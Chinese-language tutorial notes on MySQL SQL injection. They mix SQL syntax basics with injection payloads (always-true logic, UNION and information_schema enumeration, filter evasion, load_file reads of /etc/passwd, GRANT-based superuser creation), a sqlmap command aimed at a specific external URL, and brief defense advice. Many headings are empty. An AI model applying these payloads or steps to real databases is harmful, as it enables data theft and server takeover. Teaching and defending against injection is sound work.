什么是SQL注入
SQL注入:是通过应用程序把带有SQL代码的参数传递给数据库引擎
- 正常的web端口访问正常访问web传入程序设计者所希望的参数值,由程序查询数据库完成处理后,呈现结果页面给用户
SQL注入是如何访问
SQL注入危害大黑客最终的目标是数据,SQL注入是直达数据库引擎,甚至提权后可以与系统层交互,敏感数据可能被泄露、破坏的风险
- SQL注入隐蔽性强SQL注入也是正常的web端口访问,系统或者数据库管理员不易发觉,可能被攻击者长期控制系统或者数据库
- SQL注入具有普遍性SQL关系数据库行业的通用标准,SQL注入不仅是MySQL的问题,也是其他使用SQL的数据库问题
知己知彼 目标为防深入了解SQL注入的终极目标是做好防范。提高数据库安全意识,把数据安全提高到一定的战略高度
程序端SQL注入工作原理
正常的访问sql=”SELECT*FROM users WHERE longin=‘$uname’ AND password=’$pwd’PHP程序传入结果参数:$uname=’feilao’ $pwd=’123’
结果:SELECT*FROM users WHERE login=’feilao’ AND password=’123’
SQL注入访问PHP程序传入结果参数:$uname=’’or 1=1 — $pwd=’123’结果:SELECT*FROM users WHERE longin=’’or 1=1 —AND password=’123’
SQL注入漏洞的根本原因
SQL注入本质的原因是人对数据安全的意识薄弱。或者即使有安全的意识,而程序员对如何防范无从下手。因此导致程序没有对用户输入数据的合法性进行检查,对传入参数的安全性没有完全的过滤
MySQL基础DDL语句
什么是SQL语言
SQL:结构化查询语言SQL的功能:查询数据库,它能插入、更新、删除和查询数据库并返回结果等SQL语言分类:
DDL数据定义语言
- DML数据操作语言
-
为什么要了解SQL语言
SQL注入的本质是SQL语言的拼图游戏或者填空游戏SQL注入的目标:SQL注入的目标明确就是查询数据或控制系统
查询:利用复杂的SELECT查询获取信息,如管理员用户名和密码信息
- 插入:在管理员用户表中插入一条记录试图获得后台管理员权限
- 更新:更新用户数据,进行提取或者修改敏感数据
-
什么是DDL
DDL数据定义语言功能:用于数据库、表、视图、函数、存储过程或者其它对象的创建、删除或者修改的操作包括:create 创建、alter 修改、 drop 删除

使用方法举例创建数据库 Create datebase XXXX default charset utf8;删除数据库 Drop database XXXX;创建表 Create table XXXX(uid int,uname varchar(32),password(32),email varchar(50));删除表 Drop table XXX;添加字段 alter table users add column mobile bigint default 0;修改字段 alter table users drop column mobile;修改字段类型和长度 alter table users modify column uname varchar(100);字段改名 alter table users change uname username varchar(100);调整字段顺序 alter table users change uid int first;alter table users change uname uname varchar(100) after uid;如何修改表名 alter table users rename emp;
什么是DML
DML:数据操作语言功能:主要是对表、视图等对象进行查询、插入、更新和删除操作包括:SELECT 查询、INSERT 插入、UPDATE 更新、DELETE 删除

INSERT语句基本使用INSERT INTO users(uid,uname,password,isadmin) values(1,’feilao’,’123’,1)INSERT INTO users(uid,uname,password,isadmin) SELECT 1,’feilao’,’123’,1;INSERT INTO users SET uid=2, uname=’feilao’;
- INSERT语句报错逻辑

- INSERT留后门逻辑

- DELETE基本使用删除指定的用户 DELETE FROM users where uname=‘fei’;删除所有记录 DELETE FROM users;关联删除 DELETEa,b FROM emp a,dept b where a.deptno=b.deptno and a.detpno=1注入删除 DELETE FROM users where uname=’’or’1’=’1’;
- UPDATE语句基础指定修改 UPDATE users SET password=’123456’ where uname=’feilao’;修改所有 UPDATE users SET password=’123456’;
- UPDATE与注入全集更新逻辑

- 更新个人资料注入提权逻辑

- POST传参修改后台管理员密码逻辑

- URL传参修改后台管理员密码逻辑

- SELECT基本使用查询表的所有记录 SELECT FROM XXXX条件查询 SELECT FROM xxxx WHERE uname=’admin’ AND password=’xxxx’正序排序 SELECT FROM users order by uid倒叙排序 SELECT FROM users order by uid desc按第三列排序 SELECT FROM users oreder by 3取前10行 SELECT FORM users order by 3 limit 10子查询 SELECT * FROM users WHERE ID IN (SELECT uid FROM admin)SELECT连接查询

- 语法报逻辑

- 猜处理字段数据逻辑

- 空集逻辑

- 全集逻辑

- 记录联合 SELECT FROM users1 UNION SELECT FROM users2;全部合并 SELECT FROM users1 UNION ALL SELECT FROM users2;
- 联合注入报错逻辑

-
什么是DCL
DCL数据控制语言:主要是DBA来管理权限使用的。注入的目标是提升权限,或者授权一个具有较高权限的临时账户。
创建一个从任意IP登入的超级权限用户grant all privilege on . to admin@’%’ identified by ‘abc’;
创建一个指定权限的用户 grant selsect on . to admin2@’%’ identified by ‘adc’;- 数值类型整数类型:tinyint,smallint,mediumint,int,bigint浮点数类型:float,double,decimal
- 数值越界报错与注入应用

- 类型转换报错与注入应用

- 数值类型与空集、全集逻辑简单组合全集逻辑: or—+2=—!!!2 or 1=1简单组合空集逻辑:and !!!2=~2 and 1=2使用—!!!的目标是规避空格的检查,甚至可以替换为空格站位注入传参:SELECT * FROM users WHERE uname=10003 or —+2=11!!!2(查询表全部数据)
时间日期类型包括:date,datetime,timestamp,time,year基本使用 CREATE TABLE testb(d date,t time dt datetimes,ts timestamp on update current_timestamp);越界警告报错 INSERT INTO testb(‘feilao’)(在日期型中插入字符)
字符类型
字符类型包括:char,varchar,binary,varbinary,blob,text,enum,setchar固定长度字符串varchar变长字符串binary固定长度二进制字符串varbinary可变长度二进制字符串text保存较大文本时blob保存较大二进制数据时使用enum枚举类型,值只能是enum中的一个set集合类型,值可以是set中的任意个
字符类型越界报错

- 类型转换报错

-
关系运算符
等于:select from users where id=10;
小于:select from users where id<10;
小于等于:select from users where id<=10;
大于:select from users where id>10;
大于等于:select from users where id>=10;
不等于:select from users where id<>=10;
between:select from users where id between 1 and 5;
in:select from users where id in(1,2,3);
not in:select from users where id not in(1,2,3);
is null:select from users where id is null;
is not null:select from users where id is not nul;
like:select from users where uname lile ‘fei%’;l -
逻辑运算符
与:select from users where uname=’feilao’ and age>30;(必须两个同时满足)
或:select from users where uname=’feilao‘ or password=’123‘(满足其中一个)
非:select * from users where uname not in(‘feilao’)
异或:select 1 xor 2; 复杂逻辑与注入逻辑关系

-
常用字典元数据与注入应用
数据库提权成功,登录数据库后数据库普通账户:insert into mysql.user(user,host,password) values(‘admin’,’%’,password(“abc”))
字典库mysql主要保存了哪些敏感信息表?用户表:user 保存了主机,用户名和密码等重要信息数据库权限:db 保存了对数据库级别的权限信息字段权限表:columns_priv 保存了字段的详细权限分配信息
- 如何获取当前实例所以数据库名select distinct table_schema from information_schema.tables;select SCHEMA_NAME from information_schema.SCHEMATA;
- information_schema库的字典信息

- 获取当前数据库下所有数据表select table_name from information_schema.tables where table_schema=database()
- 获取一个表的所有字段名select column_name from columns where table_schema=database() and table_name=’users
- 探子相关函数基本使用select current_user();
- select version();select length(database())=x;配合 select left(database(),1);
- select postion(’@’ in user());

- 探子回报

- 盲注中如何猜测用户名密码

- 时间窃取相关函数基本使用

-
自报家底相关函数
自报家底:没有错误也要制造错误,并把查询的信息让错误带出来告诉注入者到底有什么东西,把所有家底能透露的都透露出来。相关函数:if(),rand(),floor(),ifnull(),concat,group_concat()
暴露用户名

-
SQL注入系统层防御
sql注入的本质原因不是由系统层问题系统层的防御是辅助的作用,是预防sql注入与系统层交互提权,预防sql注入权限的进一步扩大,使得sql注入在系统层无所作为。
系统层防御办法1.lptables限制只允许特定的服务器ip和端口登入2.使用应用防火墙对sql注入拒绝waf3.数据库安全中间件,如greensql,安全狗等
- sql权限的最小化原则1.程序连接的权限分配以最小化为原则,能省就别大方2.如大多数据程序连接都是以select,insert,update和delete权限,那么就只给这些权限。这样,对于读取系统层文件所需要的file权限没有,那么与系统层交互提权的路径就堵上了,使得sql注入无所作为。
数据库层设计规范化要求1.这个DBA专业的sql设计审查的要求2.如何设计尽量保持高性能,同时也要预防sql猜测出错误的可能性3.数据库架构设计考虑性能与安全的权衡,通常在保障性能的前提下去考虑安全性的折中如 用户名的类型:varchar(20)安全与性能的折中varchar(5)偏向性能,结果性能与安全不兼得
注入攻备与攻击步骤
sql注入攻击的步骤1.确认注入攻击目标网站2.目标网站一般信息的收集、分析与提权3.网站技术分析:寻找和测试可用注入点,网页输入输出机制分析4.探子回报:注入sql确定数据库类型,当前账户权限级别5.提权分析:根据用户级别确定是否可以与系统层交互提权,是否可以与数据库层交互提权,是否可以获取web后台管理员权限的可能性6.网站可用sql注入类型测试,盲注?显注?7.盲注策略:使用注入分析工具代替人工 显注策略:第三者上位
攻击的准备—信息收集与分析1.信念:没有无用的信息黑客相信没有无用的信息,只要是人为,就会有漏洞的可能性。任何信息都会透露背后的另一层信息。2.一般信息的收集、分析与提取域名信息域名信息的扩展信息,如注册人,公司,联系电话等信息收集网站所有相关工作人员的信息收集,比技术研发人员相关联系方式,qq,手机,博客,微博等。目标是得到相关人员对密码设置的习惯和规律等。
- 攻击准备—技术分析1.技术分析一般信息关联的可能性。网页源代码分析,输入输出机制分析,寻找和测试可用注入点2.使用Firefox浏览器,安装hackbar插件
- sql注入类型

- Union寻找处理字段数和第三者上位点

- 上位点利用测试

- 字典子查询测试

- 商品所有选项替换

- 获取当前连接的所有数据库名

- 获取当前数据库的所有表名

- 获得web后台管理员密码可能所在的表

- 获得用户表的所有字段

- 获得web后台管理员的用户名、密码、邮箱等敏感信息

- 常用注入点1.表单中的输入域 2.URL的参数 3.Cookie或者隐藏域
- 如何发现注入点
- 1.表单中的输入域,Cookie或者隐藏域需要对网页输入输出机制进行充分的分析、过滤和提取,并了解执行注入sql的可能机制,比如输入field,cookie,url参数的变量名是什么,如何传递给数据库引擎。
- 2.URL的参数字符类型参数:单引号或双引号测试是否可以闭合’and’1’=’1 不变逻辑,测试网页或者程序显示正确’and’1’=’2空集逻辑,测试网页或者程序显示不正确或者报错’or’1’=’1 全集逻辑,测试网页对数据量的处理是否变化整数类型参数:and 1=1 不变逻辑 and1=2 空集逻辑 or 1=1 全集逻辑
- 探子回报应用—数据类型确认数据类型确认:version()网页注入测试:and substring(version(),1,1)=5返回正确说明:1.数据库为mysql2.对执行数据库函数未过滤3.对括号未过滤4.可能对子查询未过滤5.可注入复杂逻辑6.评估注入可进行的程度
-
规避检查注入
规避程序检查注入示例
- or—+2=!!!2类假!!!2为真的结果,利用不变逻辑的!!!替代空格
- 注释替代and//select//uname //from//users
- +号连接字符替换
- 通用规避程序检查注入
- 十六进制码替代%20
- ASCII码替换char(32)例:规避单引号检查注入and substring(user(),1,1)=’z’and asci(substring(user(),1,1))=122
注入系统交互提权
与系统层交互的方式:1.读和写磁盘文件2.直接执行命令与系统层交互提权,取决于mysql服务器进程以什么权限运行,程序连接的数据库账户以什么权限级别使用
读取文件1.读取/etc/password文件select load_file(‘/etc/password’)盲注时配合substring,char,ascii等例如:select ascii(substring(load_file(‘/etc/passwd’),1,1))=1142.读取网站配置文件以获得用户名和密码信息select load_file(‘/var/www/weba/dbconfig.conf’)
sql注入漏洞工具的使用
替换人工办法自动检测有漏洞的URLsafe3 sql injector是一个最强大和最易使用的渗透测试工具,它可以自动检测和利用sql注入漏洞和数据库服务器的过程中
对指定的URL进行穷举可能的注入sqlmap对指定的url或者网站进行漏洞检测,可以对盲注进行穷举注入,最后可以获取所有可能获得的信息指令:./sqlmap.py -a —dbms=mysql -u ‘’https://61.206.45.132/corp/tokusyu.php?mid=1&cant_all=100&tksid=473“
sql注入应用层防御
sql注入的本质原因是应用层的问题。sql注入应用层防御的目标是修复sql所有可能的漏洞,做好事前的防范
过滤sql注入基本字符

- 过滤sql关键字(保留字)
- URL传参的整体加密

